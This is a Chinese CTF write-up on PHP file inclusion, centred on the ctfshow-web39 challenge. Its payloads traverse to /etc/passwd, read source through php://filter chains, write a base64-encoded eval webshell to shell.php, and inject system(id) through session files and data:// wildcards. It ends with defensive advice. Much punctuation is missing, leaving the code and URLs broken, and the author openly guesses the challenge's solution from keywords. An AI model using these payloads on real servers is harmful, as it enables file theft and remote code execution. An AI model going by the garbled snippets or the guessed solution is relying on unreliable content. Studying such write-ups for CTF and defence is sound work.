1. 理解文件包含漏洞的本质文件包含File Inclusion漏洞是Web安全领域中一个经典且危险的漏洞类型它允许攻击者通过应用程序的动态文件加载机制读取或执行服务器上的任意文件。这种漏洞通常出现在使用PHP、JSP等服务器端脚本语言的网站中特别是当开发者不当地使用include、require等函数时。在CTF竞赛中文件包含类题目频繁出现因为它能很好地考察选手对服务器端文件系统、代码执行边界和过滤绕过的理解。以ctfshow-web39这道题为例它模拟了一个典型的文件包含场景要求参赛者通过精心构造的输入突破应用程序的限制最终获取服务器上的敏感信息或执行任意代码。提示文件包含分为本地文件包含(LFI)和远程文件包含(RFI)两种在CTF中LFI更为常见因为大多数比赛环境会禁用allow_url_include配置。2. 题目环境搭建与初步分析2.1 题目环境复现要深入理解ctfshow-web39这道题目首先需要搭建一个类似的测试环境。典型的文件包含漏洞场景通常包含以下要素一个接受用户输入的PHP页面如index.php使用include或require函数动态加载文件对用户输入缺乏充分过滤以下是一个简化的漏洞代码示例?php $file $_GET[file]; include($file . .php); ?在这个例子中攻击者可以通过控制file参数来操纵include函数的加载路径。虽然代码自动添加了.php后缀但这并不能完全防止漏洞利用。2.2 常见利用手法在文件包含漏洞的利用中有几个经典的技术点需要掌握目录遍历使用../来跳出当前目录限制空字节截断在特定PHP版本中%00可以截断后续字符日志注入通过User-Agent等字段污染日志文件后包含PHP伪协议利用php://filter读取文件源码会话文件包含通过PHPSESSID操纵会话文件内容对于ctfshow-web39这道题根据相关热词分析很可能是考察php://filter伪协议的使用。这个协议在文件包含中极为有用它允许我们以各种方式处理数据流。3. php://filter的深入解析3.1 伪协议基础用法php://filter是PHP中一个强大的流过滤器在文件包含漏洞利用中常被用来读取文件源码而避免直接执行。其基本语法为php://filter/readconvert.base64-encode/resource文件名这种用法会将指定文件的内容经过base64编码后输出避免了直接包含执行PHP代码。例如要读取index.php的源码可以构造index.php?filephp://filter/readconvert.base64-encode/resourceindex注意在实际CTF比赛中题目可能会限制某些关键词这时需要尝试各种编码和变形来绕过过滤。3.2 多层过滤器组合php://filter更强大的地方在于支持多层过滤器串联使用。例如我们可以先对文件内容进行rot13处理再进行base64编码php://filter/readstring.rot13|convert.base64-encode/resourceindex这种技术在某些过滤场景下特别有用因为防护系统可能只检查单一的过滤器类型。通过组合使用不常见的过滤器有时可以绕过简单的黑名单检测。3.3 写文件利用除了读取文件外php://filter还可以用于写入特定内容。这在需要构造webshell时很有用。例如php://filter/writeconvert.base64-decode/resourceshell.phpcontentPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg这个例子中我们将base64编码的PHP代码写入shell.php文件。这种技术在有限制的环境下特别有用因为很多CTF环境会禁用常规的文件上传功能。4. ctfshow-web39的解题思路4.1 初步测试与信息收集根据题目名称和热词分析我们可以推测ctfshow-web39很可能是一个典型的文件包含题目。解题的第一步通常是信息收集测试基本的文件包含payload查看页面源代码寻找线索尝试包含常见文件如/etc/passwd测试php伪协议是否可用一个基本的测试流程可能是这样的/web39?file../../../../etc/passwd /web39?filephp://filter/readconvert.base64-encode/resourceindex4.2 绕过后缀限制很多文件包含题目会强制添加后缀如.php就像我们前面看到的示例代码那样。这种情况下常见的绕过方法包括使用%00截断PHP5.3.4利用路径长度限制使用?号截断在远程包含时有效利用./和../的巧妙组合例如如果代码强制添加.php后缀可以尝试/web39?filephp://filter/readconvert.base64-encode/resourceindex%004.3 实战解题步骤结合热词中提到的include 0。0和php://filter我们可以构建以下解题步骤首先尝试直接读取index.php源码/web39?filephp://filter/convert.base64-encode/resourceindex如果被拦截尝试变形和编码/web39?filepHp://FilTer/convert.base64-encode/resourceindex /web39?filephp://filter/readstring.rot13|convert.base64-encode/resourceindex获取到base64编码的源码后解码分析寻找flagecho PD9waHAKICAgICRmbGFnID0gJ2N0ZnNob3d7dGhpc19pc19hX2ZsYWd9JzsKICAgIGlmKGlzc2V0KCRfR0VUWydmaWxlJ10pKXsKICAgICAgICBpbmNsdWRlICRfR0VUWydmaWxlJ10gLiAnLnBocCc7CiAgICB9Cj8 | base64 -d根据源码逻辑可能需要包含特定文件或使用session包含等技术获取flag5. 防御措施与安全建议5.1 安全的文件包含实践作为开发者要避免文件包含漏洞应该遵循以下原则避免直接使用用户输入作为包含路径如果必须动态包含使用白名单机制设置open_basedir限制文件访问范围禁用allow_url_include配置对用户输入进行严格过滤一个相对安全的实现示例?php $allowed [header.php, footer.php, sidebar.php]; $file $_GET[file]; if(in_array($file, $allowed)) { include($file); } else { include(error.php); } ?5.2 CTF中的进阶技巧对于CTF选手来说掌握以下进阶技巧可以更有效地解决文件包含类题目日志文件包含通过修改User-Agent等字段注入PHP代码然后包含日志文件/proc/self/environ利用在特定环境下可以控制环境变量PHP session包含通过PHPSESSID控制会话文件内容临时文件包含结合文件上传和竞争条件各种编码绕过技巧如UTF-7、base64、rot13等例如利用session包含的基本步骤设置恶意sessionCookie: PHPSESSIDevil在User-Agent中注入代码User-Agent: ?php system(id);?包含session文件?file/tmp/sess_evil6. 相关CTF题目的横向对比通过分析热词中提到的其他CTF题目我们可以发现文件包含漏洞的一些变种和进阶考察方式ctfshow-web345可能需要结合文件包含和反序列化漏洞ctfshow萌新题web17考察基础的文件包含绕过newstarctf 2023 include 0。0可能涉及0字节截断的特殊利用无字母数字命令执行需要结合文件包含和命令执行技巧以无字母数字命令执行为例有时可以通过文件包含配合以下技巧实现使用通配符和系统命令利用${_}等特殊变量构造命令通过文件上传创建临时webshell使用iconv等过滤器转换字符一个典型的payload可能是?filedata://text/plain,?/???/??? /???/???/????/*?这种payload利用了系统的通配符特性在不使用字母数字的情况下执行了命令。